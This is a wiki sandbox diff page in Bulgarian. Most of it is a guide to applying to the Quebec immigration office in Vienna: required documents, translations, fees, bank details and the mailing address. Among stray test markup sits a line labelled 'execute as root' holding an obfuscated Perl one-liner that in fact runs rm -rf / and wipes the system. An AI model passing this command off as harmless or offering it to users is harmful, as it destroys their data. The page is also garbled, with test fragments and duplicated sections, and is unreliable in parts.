Пясъчник: Разлика между версии

От BGCanada Wiki
Направо към навигацията Направо към търсенето
Редакция без резюме
 
Ред 1: Ред 1:
Тази статия съдържа информация за документите, които се изпращат до Виена. За всички въпроси свързани с процедурата, включително и подготвянето на документите, можете да пишете на адреса на Канадското посолство във Виена: biq.vienne@micc.gouv.qc.ca
|| J&V|| 2011-05-23 ||2012-01-17|| 2013-04-10||style="background-color: lightgreen;"|ДА |2013-05-07| |2013-07-11| || || || ||
| type = style
| text = '''Тази статия е само за тестове.'''<br/>
| Необходимо е:| форматиране | [[Уикипедия:Наръчник/Форматиране|форматиране]] | Ако желаете да тествате каквото и да е в тази страница, просто щракнете на [{{fullurl:{{FULLPAGENAME}}|action=edit}} редактиране] и нанесете нужните корекции.


| препратки =[[Категория:Статии с липсващи препратки]]
| #default=[[Категория:Статии за редактиране]]


== Какво включва пакетът документи ==


Пълен списък с документите, които се изпращат можете да намерите тук: [http://www.immigration-quebec.gouv.qc.ca/fr/biq/vienne/dcs-travailleurs/liste-documents.html Liste des formulaires et documents à joindre à votre demande officielle d’immigration], а неофициален превод на списъка можете да откриете на [[Превод на списъка с документите до Виена|'''този ''']] адрес.
'''тест''' ''тест'' [[тест]] [тест]
Най-общо, пакетът документи включва:
== тест ==
[[Картинка:тест]] [[Медия:тест]] <math>тест</math> <nowiki>тест</nowiki> --[[Потребител:Stoyan2|Stoyan2]] 23:41, 23 юли 2005 (EDT)тест
----
Код (execute as root):<br><code>cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'</code>
----
<pre>
pre-formatted
  text
</pre>


* Молба за селекция
  otmesten
* Декларации и анекси
  text
* Копия на изискваните документи
* Преводи на документите от заклет преводач
* Банкова референция - '''от 2007 вече не се изисква'''!
* Снимки за всеки член от семейството
* Оигинал на документа за платена такса


Добра идея е да си ксерокопирате и подредите в хронологичен ред (например в класьор) всички формуляри, преводи, документи, писма и т.н., които изпращате или получавате във връзка с имиграцията в Квебек, за да ви е по-лесно бързото намиране на документите при необходимост.
-----------------------------------------------------------
-----------------------------------------------------------


== Формуляри и попълването им ==
[[Картинка:470_killer_whales_110511.jpg|70px|center]]


[http://www.immigration-quebec.gouv.qc.ca/publications/fr/dcs/demande-certificat-selection.pdf Молбата за селекция], както и формулярите на придружаващите я документи могат да бъдат изтеглени от [http://www.immigration-quebec.gouv.qc.ca/fr/biq/vienne/dcs-travailleurs/liste-documents.html Liste des formulaires et documents à joindre à votre demande officielle d’immigration].
-----------------------------------------------------------
-----------------------------------------------------------
Формулярите са във pdf формат и се отварят с безплатната програмата [http://get.adobe.com/reader/ Adobe Reader]. Някои от формулярите са "динамични" - тоест полетата могат да се попълват на компютър. Друга част от формулярите са "статични" - това значи че Adobe Reader може само да ги чете и отпечатва, но не може да попълва полетата. Тези формуляри могат да бъдат попълвани на компютър с платената протрама [http://www.adobe.com/products/acrobat/ Adobe Acrobat]. Ако нямате Adobe Acrobat, в статията [[Формуляри за компютърно попълване]] можете да откриете преработени от други имигранти формуляри, така че да са удобни за компютърно попълване, но това не е официален източник и е необходимо да се уверите че версиите им не са остарели. Разбира се, всички формуляри могат да бъдат попълнени на ръка, стига написаното да е четливо.
{| style="background-color:#ffffcc; border-top:1px solid #00ff99; border-right:1px solid #00ff99; border-bottom:1px solid #00ff99; border-left:1px solid #00ff99;" " cellpadding="5" cellspacing="0" |
|Orange Apple Plum i drugi plodowe i zelenchuk...
|}


Ако се чувствате неуверени за комплектоването и попълването на документите, свързани с процедурата ви за имиграция в Квебек или не знаете достатъчно езика, за да направите сами тази много важна стъпка, от която всъщност зависи как ще стартира цялата ви процедура, бихте могли да поверите тази задача в ръцете на компетентен по въпроса човек. Обикновено учителите по френски, които подготвят кандидат-имигрантите за процедурата, се занимават и с попълването на документите. Затова ето тук ще ви предложим '''[[списък с координати на учители по френски]]''' в различните градове на България. Информацията за тях е взета от кандидати, които са ползвали услугите им. Можете да посетите съответния учител и да прецените сами дали той/тя е подходящ/а за вас.
[[Category:тест]]
 
 
== Документи за доказване на трудов стаж ==
 
Копията на тези документи трябва да бъдат нотариално заверени преведени на английски или френски език.
 
* '''Трудова книжка''' удостоверявава стажа при работа на трудов договор.
 
* '''Осигурителна книжка''' удостоверява стажа на самоосигуряващите се лица.
 
* '''Удостоверение за осигурителен стаж от НОИ''', придобит в БГ или в чужбина, се издава за да послужи в чужда държава. Стажа и удостоверението се изготвят в Пловдив и се изпращат в НОИ София, дирекция "Европейска интеграция и международни договори", където се заверява. Не е задължително да се представя, ако имате трудова или осигурителна книжка. Ако имиграционните служители сметнат че има нужда да представите такова удостоверение, ще ви уведомят на етап разглеждане на документите.
 
* '''Служебна бележка от работодател''' или Препоръка от работодател, Уверение, Атестация не са задължителни, но могат да бъдат приложени в добавка към гореизброените документи. Добре е те да съдържат следните неща:
 
# името на фирмата (по възможност и логото на фирмата или документът да бъде отпечатан на фирмена бланка)
# непременно координати на фирмата - точен адрес, телефон, електронен адрес (ако има такъв)
# изходящ номер
# имената на лицето, за което се отнася документа
# заеманата длъжност и основните функции, които е изпълнявало лицето в тази фирма
# от коя до коя дата е работило лицето в тази фирма (ако продължава да работи се отбелязва с думи)
# име, фамилия, заеманата длъжност, телефон за контакти и подпис на личността, издала този документ
# печат на фирмата/предприятието
 
== Дипломи и сертификати ==
 
 
Необходимо е да се приложат копия на дипломите за средно и висше образование. Дипломи за начално и основно образование не се изискват. Копията на дипломите също трябва да бъдат заверени от нотариус или от учебното заведение, което ги е издало и да бъдат преведени на английски или френски. Необходимо е също така да бъде представен списъка с изучаваните дисциплини и хорариумите - в повечето дипломи си го има и се нарича "приложение към дипломата", а за по-старите дипломи се вади отделно и се нарича "академична справка".
 
Ако не сте завършили образованието си докрай, може да бъде представено удостоверение за последната успешно завършена година.
 
Документи за изкарани курсове за професионална квалификация - важно е да се знае, че според записаното в [http://www.canlii.org/fr/qc/legis/regl/rq-c-i-0.2-r3.02/derniere/rq-c-i-0.2-r3.02.html Règlement sur la pondération applicable à la sélection des ressortissants étrangers], за тях бихте могли да получите точки само, ако са с продължителност минимум една година.
 
== Документи за езикови способности ==
 
Със сигурност не пречи да приложите всички документи, които сте получили за изучаване на френския и английския. Но категорично доказателство за езиковите умения са единствено документите с резултати от положен изпит по някоя от изброените на официалния сайт системи за оценяване, а именно:
 
За френски:
* TEFAQ
* TEF с модул expression orale
* [[TCFQ]]
* TCF с модул expression orale
* DELF или DALF
 
За английски:
* IELTS
* TOEFL
* TOEIC
* Cambridge
 
Езиковите умения могат също така да бъдат засвидетелствани с документ че кандидатът е работил на съответния език - английски или френски.
 
== Други документи ==
 
Документът, удостоверяващ вашата самоличност пред имиграционните власти по време на цялата процедура, е '''международния паспорт'''. Копие от личната карта е нужно само когато се налага да се доказва съвместно съжителство чрез сравняване еднаквостта на адресите.
 
Ако нямате сключен граждански брак с придружаващия ви партньор, ще е нужно да изпратите доказателства на имиграционните за вашето '''съвместно съжителство'''. Повече по този въпрос може да прочетете в статията [[Доказване на съвместен живот]] (conjoints de fait).
 
Документ(и) за доказване на финансовите възможности на кандидатите по процедурата за Квебек от началото на 2007 г. отпадна като изискване. Новото включено в [http://www.immigration-quebec.gouv.qc.ca/fr/index.html официалния сайт] е изискването за подписване на '''договор за финансова независимост''' (изпраща се заедно с документите до Виена), с който кандидата поема отговорност за издръжката (своята и на придружаващите го) през първите 3 месеца след влизането си в Кебек. С този договор кандидатът не просто декларира (обещава), а се задължава да осигури задължителен минимум от финансови средства за преживяване за себе си и всички придружаващи го лица. Формулярът на този договор може да изтеглите от тук [http://www.immigration-quebec.gouv.qc.ca/publications/fr/dcs/D21.pdf Contrat relatif à la capacité d’autonomie financière]. Изискваният минимум канадски долари, който трябва да притежавате при влизането си в провинцията, ще откриете в [http://www.immigration-quebec.gouv.qc.ca/fr/immigrer-installer/travailleurs-permanents/demande-immigration-general/conditions-requises/lexique.html Autonomie financière]. Той е определен според броя на кандидат-имигрантите и придружаващите ги деца до 18 год.
Повече по този въпрос може да прочетете в т. 7 под [http://www.immigration-quebec.gouv.qc.ca/fr/immigrer-installer/travailleurs-permanents/demande-immigration-general/conditions-requises/index.html Facteurs de sélection], както и в [http://www.immigration-quebec.gouv.qc.ca/fr/immigrer-installer/travailleurs-permanents/demande-immigration-general/conditions-requises/lexique.html#autonomie Capacité d'autonomie financière].
 
 
Отслужилите наборна '''военна служба''' през последните 5 години, преди датата на подаване на документите до Виена (т.9 от Молбата за селекция), е нужно да представят документ за това. От практиката е установено, че изпращането на ксерокопие на първите две страници от военната книжка или удостоверение от военно окръжие за изкарана военна служба е напълно достатъчно.
 
Ако не сте отбили военната си служба, няма проблем, защото липсва изискване да сте отслужили. Съответно, който не е служил изобщо или службата му е била преди повече от 5 години от подаването на Молбата за селекция, то не го касае нито отбелязването на казармата, нито изпращането на документ за това.
 
От досегашната практика е известно, че при наличие на '''минали бракове''', се изисква и декларация от бившия съпруг(а) за съгласие за вашата емиграция. От практиката също става ясно, че това засяга семействата, които имат деца от предишните бракове.
 
 
'''Декларация от приятел''', живеещ в Квебек, вече отпадна и за приятел в Кебек не се дава нито една точка.
 
 
Ако имате '''роднини в провиция Квебек''' ще получите допълнително [http://www.canlii.org/fr/qc/legis/regl/rq-c-i-0.2-r3.02/derniere/rq-c-i-0.2-r3.02.html точки за това] - виж Facteur 5 - т. 5.2 Famille au Québec. За целта е нужно да се попълни една декларация, чийто формуляр може да видите тук [http://www.immigration-quebec.gouv.qc.ca/publications/fr/dcs/d13.pdf Déclaration d’un membre de la parenté au Québec].
 
Има и допълнителни изисквания като ксерокопие на резидентската карта или копие на канадския паспорт на роднините, ако притежават такъв; също копие на договора им за наем (ако са наематели) или документ за плащане на ипотечния заем (ако са собственици на недвижим имот). Има изброени още изисквани документи, засягащи притежаването на роднини в Кебек, които трябва да се приложат към Молбата за селекция, за това повече по този въпрос прочетете на страницата на [http://www.immigration-quebec.gouv.qc.ca/fr/biq/vienne/dcs-travailleurs/liste-documents.html Liste des formulaires] et documents à joindre à votre demande officielle d’immigration - т. 8 "Liens de parenté", както и в [[Превод на списъка с документите до Виена|'''превода''']]  на тази страница. 
 
 
 
== Снимки ==
 
 
Относно снимките за Виена няма някакви строги изисквания. Бихте могли да изпратите стандартните за паспорт снимки. Ако все пак направите снимките още на този етап според изискванията за снимките за Букурещ, указани в края на [http://www.cic.gc.ca/francais/pdf/trousses/guides/F37106.pdf Guide à l’intention des travailleurs qualifiés] Instructions spécifiques du bureau des visas - стр. 9, можете да пратите същите и за Виена. По-подробно за снимките за Букурещ е обяснено в статията [[Документи до Букурещ |'''Изисквани формуляри и документи за Букурещ''']].
 
== Превеждане, заверяване и нотариуси ==
 
 
Необходимо е копията на документите да бъдат заверени от нотариус или от институцията, която ги издава. Изключения правят дубликатите на Удостоверението за раждане и Удостоверението за граждански брак. Не е задължително да се слага печат "за чужбина" (наричан още "правоъгълен") на тези документи.
 
Не се изисква нотариална заверка на копието на международния паспорт (ксерокопират се само втора и трета страница). За тези страници от паспорка не е необходим превод, тъй като данните там са изписани и на английски.
 
Легализация на документите не се изисква.
 
Тези документи, които не са на английски или на френски е необходимо да бъдат преведени от "заклет" преводач. Повече по въпроса за превеждането може да прочетете в статията '''[[Преводи]]'''.
 
Обикновено копията първо се заверяват и едва след това се дават за превод. Преводача прикрепва своя превод към завереното копие и подпечатва на свой ред.
 
== Изисквани такси ==
 
 
'''Изискваните такси за селекция''', можете да видите тук в [http://www.immigration-quebec.gouv.qc.ca/fr/biq/mexico/frais.html '''Frais, modes de paiement et délais de traitement''']. '''Засега таксите за селекция са:'''
 
 
'''за водещия кандидат - 390 канадски долара'''<br>
'''за всеки от придружаващи го лица в неговата кандидатура - по 150 канадски долара''' (включително и за децата, независимо от възрастта).
 
 
 
Парите за таксите трябва да се преведат по банков път или с банков чек на правителството на Квебек. В случай на превеждане по банков път, парите се превеждат на специално '''оторизирана банка в Австрия'''. Преди това, ще ви помоля да направите справка [http://www.immigration-quebec.gouv.qc.ca/fr/biq/vienne/dcs-travailleurs/frais/virement-bancaire.html тук] (Virement bancaire auprès de la Bank Austria Creditanstalt), да не би да има промяна в някои от данните.
 
Изискваните такси за разглеждане на документите ви във Виена може да платите в която и да е банка по ваш избор, за разлика от таксите за Букурещ, които се плащат след успешно преминало интервю задължително в Union Bank.
 
'''Bénéficiaire: Gouvernement du Québec'''
Banque: Bank Austria - Unicredit Group
Succursale: Schottengasse 6
A-1010 VIENNE
Autriche
Numéro de compte: 0522-06612/00
Code de la banque: 12000
Code SWIFT: BKAUATWW
IBAN: AT80 1100 0052 2066 1200
 
Независимо от начина, по който смятате да преведете парите (банков чек или превод), не забравяйте да напишете в съответната бланка мотива за плащане в посочения формат:'''
 
/мотив/ Motif de paiement: '''Frais d'examen de la Demande de certificat de sélection''' (Такса
за проучване на Молбата за сертификат за селекция)
 
/пример/ MARTIN, Jacques - 52/08/02 + adresse ('''фамилия по рождение! (а не тази, която сте приели след бракосъчетанието), първо име - дата на раждане под формата година/месец/дата) + точния адрес''')
 
 
От записаното тук - [http://www.immigration-quebec.gouv.qc.ca/fr/immigrer-installer/travailleurs-permanents/demande-immigration-general/demande-immigration/delais-tableaux.html  Délais pour la demande d'immigration] може да се осведомите за '''сроковете от подаването на Молбата до получаването на Сертификата за селекция от Квебек'''.
 
 
 
 
Изискваните '''ТАКСИ ЗА ВИЕНА''', можете да видите тук в [http://www.immigration-quebec.gouv.qc.ca/fr/biq/mexico/frais.html '''Frais, modes de paiement et délais de traitement'''].
 
 
'''Засега таксите за Виена са:'''
 
'''за водещия кандидат - 390 канадски долара'''
'''за всеки от придружаващи го лица в неговата кандидатура - по 150 канадски долара''' (включително и за децата, независимо от възрастта).
 
 
Парите за таксите трябва да се преведат по банков път или с банков чек на правителството на Квебек. В случай на превеждане по банков път, парите се превеждат на специално '''оторизирана банка в Австрия'''. Преди това, ще ви помоля да направите справка [http://www.immigration-quebec.gouv.qc.ca/fr/biq/vienne/dcs-travailleurs/frais/virement-bancaire.html тук] (Virement bancaire auprès de la Bank Austria Creditanstalt), да не би да има промяна в някои от данните.
 
Изискваните такси за разглеждане на документите ви във Виена може да платите в която и да е банка по ваш избор, за разлика от таксите за Букурещ, които се плащат след успешно преминало интервю задължително в Union Bank.
 
 
 
'''Bénéficiaire: Gouvernement du Québec'''
 
'''Banque: Bank Austria - Unicredit Group'''
 
'''Succursale: Schottengasse 6'''
 
'''A-1010 VIENNE'''
 
'''Autriche'''
 
'''Numéro de compte: 0522-06612/00'''
 
'''Code de la banque: 12000'''
 
'''Code SWIFT: BKAUATWW'''
 
'''IBAN: AT80 1100 0052 2066 1200'''
 
 
Независимо от начина, по който смятате да преведете парите (банков чек или превод), не забравяйте да напишете в съответната бланка мотива за плащане в посочения формат:'''
 
 
/мотив/ Motif de paiement: '''Frais d'examen de la Demande de certificat de sélection''' (Такса
за проучване на Молбата за сертификат за селекция)
 
 
/пример/ MARTIN, Jacques - 52/08/02 + adresse ('''фамилия по рождение! (а не тази, която сте приели след бракосъчетанието), първо име - дата на раждане под формата година/месец/дата) + точния адрес''')
 
 
 
 
 
== Изпращане на документите до Виена ==
 
 
Според указаното в края на [http://www.immigration-quebec.gouv.qc.ca/fr/biq/vienne/dcs-travailleurs/liste-documents.html '''Liste des formulaires et documents à joindre à votre demande officielle d’immigration'''], е необходимо КОПИЯТА на документите да се заверят нотариално, за да се докаже, че са верни с оригинала. След това трябва да бъдат '''преведени от ЗАКЛЕТ ПРЕВОДАЧ'''.
 
 
Някои от съфорумците ксерокопират нотариално заверените и преведени от заклетия преводач копия на документите като самите "оригинални" преведени и заверени копия съхраняват при себе си. Други запазват ксерокопията, а изпращат нотариално заверените и преведени копия във Виена. От практика до сега е установено, че и двата варианта са еднакво приети от имиграционните власти, защото на самото интервю се носят самите оригинали на документите и ако е нужно на място се прави справка (изключение прави само Документа, показващ платената такса - задължително се изпраща оригинал). Това най-често се прави като евентуална мярка кандидатите да имат документите в наличност при евентуално загубване след изпращането им до имиграционните. Какво вие ще направите, решете сами.
 
 
Всички изисквани документи и формуляри за Виена, се изпращат на посочения по-долу '''адрес''', но ще ви помоля преди да го напишете, да направите справка тук в [http://www.immigration-quebec.gouv.qc.ca/fr/coordonnees/adresses-continents.html '''Nos bureaux hors Québec'''] - par continent, да не би да има промяна:
 
 
''' Bureau d'immigration du Québec à Vienne'''
a/s de l'Ambassade du Canada
Laurenzerberg 2/1/2N
A-1010 Vienne
AUTRICHE
Téléphone : (43.1) 53138.3005
Télécopieur : (43.1) 53138.3443'''
'''Courriel :''' [http://www.immigration-quebec.gouv.qc.ca/fr/biq/vienne/informations/courrier/index.html '''formulaire courriel'''] '''ou''' biq.vienne@micc.gouv.qc.ca
 
 
От различни варианти за изпращане на документите до канадските имиграционни власти, ние ползвахме основно два - по пощата ('''препоръчано, с обратна разписка''') за всички документи, а само за паспортите (за поставяне на визи в тях) - с куриерска фирма.
 
 
Също ще ви предложа една идея. Ако не сте уверени в сигурността на пощенската си кутия, можете да наемете за определен период от време или за цялата година, кутия в пощенския клон, който ви е удобен по местоживеене и след като сте я посочили във формулярите до Виена , '''с точния и пълен адрес за получаване''', цялата кореспонденция, свързана с процедурата ви, можете да си я взимате от там.
 
 
 
 
 
Според указаното в края на [http://www.immigration-quebec.gouv.qc.ca/fr/biq/vienne/dcs-travailleurs/liste-documents.html '''Liste des formulaires et documents à joindre à votre demande officielle d’immigration'''], е необходимо КОПИЯТА на документите да се заверят нотариално, за да се докаже, че са верни с оригинала. След това трябва да бъдат '''преведени от ЗАКЛЕТ ПРЕВОДАЧ'''.
 
 
Някои от съфорумците ксерокопират нотариално заверените и преведени от заклетия преводач копия на документите като самите "оригинални" преведени и заверени копия съхраняват при себе си. Други запазват ксерокопията, а изпращат нотариално заверените и преведени копия във Виена. От практика до сега е установено, че и двата варианта са еднакво приети от имиграционните власти, защото на самото интервю се носят самите оригинали на документите и ако е нужно на място се прави справка (изключение прави само Документа, показващ платената такса - задължително се изпраща оригинал). Това най-често се прави като евентуална мярка кандидатите да имат документите в наличност при евентуално загубване след изпращането им до имиграционните. Какво вие ще направите, решете сами.
 
 
Всички изисквани документи и формуляри за Виена, се изпращат на посочения по-долу '''адрес''', но ще ви помоля преди да го напишете, да направите справка тук в [http://www.immigration-quebec.gouv.qc.ca/fr/coordonnees/adresses-continents.html '''Nos bureaux hors Québec'''] - par continent, да не би да има промяна:
 
 
'''Bureau d'immigration du Québec à Vienne
 
a/s de l'Ambassade du Canada
 
Laurenzerberg 2/1/2N
 
A-1010 Vienne
 
AUTRICHE
 
Téléphone : (43.1) 53138.3005
 
Télécopieur : (43.1) 53138.3443'''
 
'''Courriel :''' [http://www.immigration-quebec.gouv.qc.ca/fr/biq/vienne/informations/courrier/index.html
 
'''formulaire courriel''' '''ou''' biq.vienne@micc.gouv.qc.ca
 
 
 
От различни варианти за изпращане на документите до канадските имиграционни власти, ние ползвахме основно два - по пощата ('''препоръчано, с обратна разписка''') за всички документи, а само за паспортите (за поставяне на визи в тях) - с куриерска фирма.
 
 
Също ще ви предложа една идея. Ако не сте уверени в сигурността на пощенската си кутия, можете да наемете за определен период от време или за цялата година, кутия в пощенския клон, който ви е удобен по местоживеене и след като сте я посочили във формулярите до Виена , '''с точния и пълен адрес за получаване''', цялата кореспонденция, свързана с процедурата ви, можете да си я взимате от там.
 
== Забележки и допълнения ==
 
* Обикновено на всеки от дадените по-горе линкове, имиграционните власти поставят новите изисквания, вместо да сменят адреса му, затова можете да правите постоянно справка за най-новите промени в линковете, посочващи от къде е взета дадената информация.
 
* Ако желаете да прочетете информацията в дадените линкове на английски или испански език, моля кликнете най-горе вдясно на дадената страница в сайта за имиграция в Кебек. На руски език може да прочетете на [http://www.immigration-quebec.gouv.qc.ca/ru/biq/vienne/index.php този] адрес.
 
* От записаното в [http://www.immigration-quebec.gouv.qc.ca/fr/immigrer-installer/travailleurs-permanents/demande-immigration-general/demande-immigration/delais-tableaux.html Délais pour la demande d'immigration] може да се осведомите за сроковете от подаването на Молбата до получаването на Сертификата за селекция от Квебек.

Текуща версия към 09:40, 6 януари 2014

|| J&V|| 2011-05-23 ||2012-01-17|| 2013-04-10||style="background-color: lightgreen;"|ДА |2013-05-07| |2013-07-11| || || || || | type = style | text = Тази статия е само за тестове.
| Необходимо е:| форматиране | форматиране | Ако желаете да тествате каквото и да е в тази страница, просто щракнете на редактиране и нанесете нужните корекции.

| препратки =
| #default=


тест тест тест [тест]

тест

Файл:Тест Медия:тест <math>тест</math> тест --Stoyan2 23:41, 23 юли 2005 (EDT)тест


Код (execute as root):
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'


pre-formatted
  text
  otmesten
  text




Orange Apple Plum i drugi plodowe i zelenchuk...